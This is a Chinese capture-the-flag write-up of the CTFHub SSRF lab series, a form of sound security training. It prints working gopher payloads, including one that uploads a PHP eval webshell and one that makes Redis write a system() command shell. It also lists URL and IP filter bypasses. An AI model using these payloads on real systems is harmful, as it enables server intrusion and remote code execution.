CTFHUB-SSRF

内网访问

打开后什么也没有

url:

http://challenge-15dd8a3b6071b41e.sandbox.ctfhub.com:10800/?url=_

 CTFHUB-SSRF
根据提示

 

 

构造?url=127.0.0.1/flag.php

得到ctfhub{7505498e57596c29d6e2b6c6}

伪协议访问文件

常见伪协议
file:/// – 本地文件传输协议,主要用于访问本地计算机中的文件。
dict:// – 字典服务器协议,dict是基于查询相应的TCP协议。
sftp:// – SSH文件传输协议或安全文件传输协议(Secure File Transfer Protocol)是一种简单的基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
ldap:// – 代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机。
gopher:// – 是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
https://www.cnblogs.com/-mo-/p/11673190.html

Linux系统下,网站路径是 /var/www/html/,所以用php伪协议访问这个路径下的flag.php文件。

构造

?url=file:////var/www/html/flag.php

 页面回显 ???

查看源代码发现Flag is ctfhub{d2cdbfe00e2ed4d348479a56}

端口扫描

题目提示端口在8000-9000,因此直接扫就可以了。这里我们需要使用dict伪协议来扫描,因为dict协议可以用来探测开放的端口。
CTFHUB-SSRF
发现端口是8056.直接进行访问,就可以得到flag了。
CTFHUB-SSRF

POST请求

CTFHUB-SSRF

访问flag.php,告诉我们必须要从本地访问CTFHUB-SSRF

 源代码有key

需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload(注意下划线)

POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d93819c4c1a18dc606dc5c6486f77227

特别要注意Content-Length应为字符串“key=d93819c4c1a18dc606dc5c6486f77227”的长度。

进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d93819c4c1a18dc606dc5c6486f77227

CTFHUB-SSRF

 

上传文件

CTFHUB-SSRF

 先看看flag.php

CTFHUB-SSRF

 没有提交选项,F12 修改前端代码,

<input type="submit" name="submit" >

CTFHUB-SSRF

 

 CTFHUB-SSRF

看一下flag.php源码

<?php error_reporting(0); if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>

发现会判断文件是否为空。 上传一个非空文件,bp拦截。

CTFHUB-SSRF

修改host为127.0.0.1:80,整段请求除了

CTFHUB-SSRF

全都复制下来url编码一次,%0a换成%0d%0a后,再url编码一次

拼接payload

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250d%250aHost%253A127.0.0.1%253A80%250d%250aUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A85.0)%2520Gecko%252F20100101%2520Firefox%252F85.0%250d%250aAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%250d%250aContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------259295483530666699172933370572%250d%250aContent-Length%253A%2520422%250d%250aOrigin%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%250d%250aConnection%253A%2520keep-alive%250d%250aReferer%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%252F%253Furl%253D127.0.0.1%252Fflag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250a%250d%250a-----------------------------259295483530666699172933370572%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522y.phtml%2522%250d%250aContent-Type%253A%2520application%252Foctet-stream%250d%250a%250d%250aGIF89a%250d%250a%253Cscript%2520language%253D%2522php%2522%253Eeval(%2524_POST%255B%27shell%27%255D)%253B%253C%252Fscript%253E%2520%250d%250a%250d%250a-----------------------------259295483530666699172933370572

CTFHUB-SSRF

 

 

 FastCGI协议

CTFHUB-SSRF

https://blog.csdn.net/qq_45774670/article/details/109568987

https://blog.csdn.net/bmth666/article/details/104836708/

 Redis协议

CTFHUB-SSRF

当把payload上传之后就可以用cmd参数在shell.php里操作。

工具:https://github.com/tarunkant/Gopherus

我们先将payload拼接在url后面

?url=gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A<%3Fphp system(%24_GET[‘cmd‘])%3B %3F>%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

然后再

CTFHUB-SSRF

 发现过滤了空格,用${IFS}代替

CTFHUB-SSRF

 CTFHUB-SSRF

URL Bypass

CTFHUB-SSRF

1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

CTFHUB-SSRF

数字IP Bypass

CTFHUB-SSRF

其他进制数代替

127.0.0.1这个IP地址我们可以改写成:

  1. 8进制格式:0177.00.00.01
  2. 16进制格式:0x7f.0x0.0x0.0x1
  3. 10进制整数格式:2130706433
  4. 在linux下,0代表127.0.0.1,http://0进行请求127.0.0.1
  5. 也可以127.0.0.1—>localhost

 得到flag

302跳转 Bypass

 

   

CTFHUB-SSRF

 

 

CTFHUB-SSRF

DNS重绑定 Bypass

CTFHUB-SSRF

使用DNS重绑定,在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如127.0.0.1.xip.io,就会自动重定向到127.0.0.1。
即:

?url=127.0.0.1.xip.io/flag.php

CTFHUB-SSRF

 

 

 

CTFHUB-SSRF

上一篇:postman 请求类型


下一篇:Redis实战-详细配置-优雅的使用Redis注解/RedisTemplate